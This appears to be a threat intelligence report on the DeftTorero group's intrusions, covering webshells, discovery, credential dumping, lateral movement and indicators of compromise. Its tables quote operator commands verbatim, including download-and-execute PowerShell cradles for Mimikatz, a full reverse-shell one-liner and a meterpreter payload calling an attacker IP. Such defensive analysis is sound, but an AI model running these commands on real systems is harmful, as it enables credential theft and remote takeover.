DeftTorero: tactics, techniques and procedures of intrusions revealed

APT REPORTS 03 OCT 2022 7 minute read



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actor to more fileless/LOLBINS techniques, and the use of known/common offensive tools publicly available on the internet that allows them to blend in.

The public reports available to date expose and discuss the final payload – Explosive RAT – and the webshells used in the initial foothold such as Caterpillar and ASPXSpy (you can find webshell MD5 hashes in the IoC section), with little on the tactics, techniques and procedures (TTPs); this post focuses primarily on the TTPs used by the threat actor in intrusions between late 2019 and mid-2021 to compromise victims.

More information about *DeftTorero* is available to customers of Kaspersky Intelligence Reporting.

Contact us: intelreports@kaspersky.com

Initial Access and webshell deployment

During our intrusion analysis of DeftTorero's webshells, such as *Caterpillar*, we noticed traces that infer the threat actor possibly exploited a *file upload form* and/or a *command injection* vulnerability in a functional or staging website hosted on the target web server. This assumption is based on the fact that the uploaded webshells always drop in the same web folder, and in some cases get assigned a name containing a GUID followed by the original webshell filename.

In other instances, we noticed traces pointing to a possible exploitation of IIS PHP plugins pre-installed by the server admins. And finally, in some other instances, we suspect the operators gained server credentials from other systems in the same organization and logged in using a remote desktop (MSTSC.exe) to deploy the webshell.

Once the threat actor succeeds in identifying a method to upload a webshell, they attempt to drop several webshell types and families, most of which are blocked by the AV engine. We suspect that almost all the webshells dropped (including ASPXSpy, devilzshell, etc.) originate from a GitHub account, and are either used as is or are slightly modified.

Discovery

Upon successful installation of the webshell, the operators run multiple commands to gain situational awareness from the exploited system. This includes testing network connectivity by pinging Google.com, listing current folders, identifying the current user privileges, enumerating local system users, and listing websites hosted by the compromised server. The operators also attempt to assess if the web server is joined and/or trusted by any domain. At a later stage, this will prove useful as it will inform them on the next course of actions for dumping local or domain credentials.

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cmd.exe	
cmd.exe /c net user /domain	Display domain users
cmd.exe /c net use	Display mapped drives to local system
cmd.exe /c openfiles	Display files opened remotely

Table. 1 Operator commands executed through webshell

After gaining situational awareness, the operators attempt to load/invoke a number of tools to dump local and domain credentials. In some cases, the threat actor attempts to install *Nmap* and *Advanced Port Scanner*, possibly to scan internal systems.

Dumping credentials

Credential dumping methods differed from one case to another. In some instances, *Lazagne.exe* was used, in others Mimikatz variants were used either by executing the respective PE binary or by invoking a base64-encoded PowerShell version from a GitHub project. In a smaller number of instances, possibly due to AV detection, the operators dumped the LSASS.exe process to disk, most probably to process it offline for credential dumping.

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26 AUG 2020, 2:00PM

GReAT Ideas. Powered by SAS: threat actors advance on new fronts

IVAN KWIATKOWSKI, MAHER YAMOUT, NOUSHIN SHABAB, PIERRE DELCHER, FÉLIX AIME, GIAMPAOLO DEDOLA, SANTIAGO PONTIROLI

22 JUL 2020, 2:00PM

GReAT Ideas. Powered by SAS: threat hunting and new techniques

DMITRY BESTUZHEV, COSTIN RAIU, PIERRE DELCHER, BRIAN BARTHOLOMEW, BORIS LARIN, ARIEL JUNGHEIT, FABIO ASSOLINI

Command	Comment
IEX (New-Object Net.WebClient).DownloadString(“https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1”); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;	Decoded base64 command issued through webshell to invoke Mimikatz to dump passwords
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1'); Invoke-mimikittenz	Decoded base64 command issued through webshell to invoke Mimikittenz to dump passwords

Table. 2 Operators invoking Mimikatz variants

Once credentials are obtained, it is believed the operators use Remote Desktop Protocol to pivot into internal systems, or reachable systems that are likely using the stolen credentials (e.g., trusted partners). This is also reinforced by timeline analysis where the threat actor deployed a webshell at another web server in the same network without exploiting a file upload form/vulnerability.

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cmd.exe scrobj.dl	
cmd.exe /i:http://	
cmd.exe Object System. ; made.p	
cmd.exe /c “powershell.exe -c “(New-Object System.NET.WebClient).DownloadFile('http://200.159.87[.]196/av.vbs','\"$env:temp\av.vbs\"');Start-Process %windir%\system32\cscript.exe \"$env:temp\av.vbs\"" 2>&1	
cmd.exe /c “powershell.exe -executionpolicy bypass -w hidden “iex(New-Object System.Net.WebClient).DownloadString('http://*<internal_IP_address>*:8000/made.ps1'); made.ps1” 2>&1	
cmd.exe /c “powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient('200.159.87[.]196',3306);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object –TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()” 2>&1	
cmd.exe /c “msiexec /q /i http://200.159.87[.]196/1.msi 2>&1	
cmd.exe /c “Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent[.]com/cheet	PowerShell command to invoke a Meterpreter session

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BlindEagle flying high in Latin America

EastWind campaign: new CloudSorcerer attacks on government organizations in Russia

z/PowerSploit/master/CodeExecution/Invoke–Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 200.159.87[.]196 -Lport 3306 -Force 2>&1	

Table. 3 Operator commands to establish further presence on other servers in the same network

Credentials: the more, the better

While the same credential dumping strategy has been used by the operators in most intrusions, there were some instances where few modifications were seen. For example, the operators used the VSSADMIN system tool to create a shadow copy snapshot on the targeted server in an attempt to dump domain credentials, a technique also used in pentesting and red team engagement.

Command	Comment
CMD /C vssadmin create shadow /for=E:	Create a volume shadow copy to collect SAM and SYSTEM registry hives from local system, or NTDS.DIT and SYSTEM hives if on a domain controller
CMD /C /for=E:>	

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Mozilla/5.0 (Windows NT 6.0; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0	Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)	User Agent for HTTP Communication

Table. 5 Pattern changes in the newer Explosive RAT campaign

A second noticeable change made to evade defense was introduced to the function names exported by the DLL component of Explosive RAT. Below is a list of changes in the export table.

New Function Name	Old Function Name
AllDataGet	GetAllData
HistoryGetIE	GetIEHistory
TOCN	CON
FnClipOpen	OpenClipFn
HoKSetWin	SetWinHoK

appregister	Registerapp
ProcessPath	PathProcess

Table. 6 New function names compared to the old ones used in the 2015 campaign

Victims

Based on our telemetry, the indicators of the intrusions we assessed between late 2019 and mid-2021 are similar to the usual DeftTorero victimology, with a clear focus on Middle Eastern countries such as Egypt, Jordan, Kuwait, Lebanon, Saudi Arabia, Turkey and the United Arab Emirates.

The targeted web servers occasionally host multiple websites belonging to different industry verticals such as Corporate, Education, Government, Military, Media, and Telcos. This presents the threat actor with the opportunity to pivot to other victims of interest.

Conclusions

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Indicators of Compromise

Note: We provide an incomplete list of IoCs here that are valid at the time of publication. A full IoC list is available in our private report.

File hashes

53EE31C009E96D4B079EBE3267D0AE8E	Explosive RAT EXE
54EBC45137BA5B9F5ECE35CA40267100	Explosive RAT EXE
A955B45E14D082F71E01EBC52CF13DB8	Explosive RAT EXE
E952EC767D872EA08D8555CBC162F3DC	Explosive RAT EXE
ED50613683B5A4196E0D5FD2687C56DA	Explosive RAT EXE
0a45de1cdf39e0ad67f5d88c730b433a	cmd.aspx (basic ASPX webshell)
0d6bc7b184f9e1908d4d3fe0a7038a1e	c.aspx/conn.aspx (Tunna webshell)

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c87a206a9c9846a2d1c3537d459ec03a	the.aspx (ASPX webshell)
02BCD71A4D7C3A366EFF733F92702B81	devel.aspx (Devel webshell)
D6A82B866F7F9E1E01BF89C3DA106D9D	Banner.aspx (reGeorg webshell)
C59870690803D976014C7C8B58659DDF	03831a5291724ef2060127f19206eiab.aspx (webshell)
1ED9169BED85EFB1FD5F8D50333252D8	aram.aspx (Caterpillar webshell)
2D804386DE4073BAD642DFC816876D08	Pavos.aspx (Caterpillar webshell)
523AA999B9270B382968E5C24AB6F9EB	Report_21.jpg (ASPX webshell)
45d854e66631e5c1cda6dbf4fea074ce	aspxspy2014final.aspx (ASPXSpy webshell)
Bb767354ee886f69b4ab4f9b4ac6b660	sec4ever.aspx (Sec4ever webshell)
0152de452f92423829e041af2d783e3f	editor.aspx (basic ASPX webshell)
7981f1bf9b8e5f4691e4ac440f1ba251	devilzshell.aspx (devilzshell webshell)
4b646e7958e1bb00924b8e6598fe6670	nightrunner.aspx (Nightrunner webshell)
D608163a	

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7567F938	
566b4858	
BD876B5	
F575D4B	
238A4EF	
550BD7C	
68D3BF2	
3437E3E5	mimilove.exe

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APT trends report Q2 2024

The report features the most significant developments relating to APT groups in Q2 2024, including the new backdoor in Linux utility XZ, a new RAT called SalmonQT, and hacktivist activity.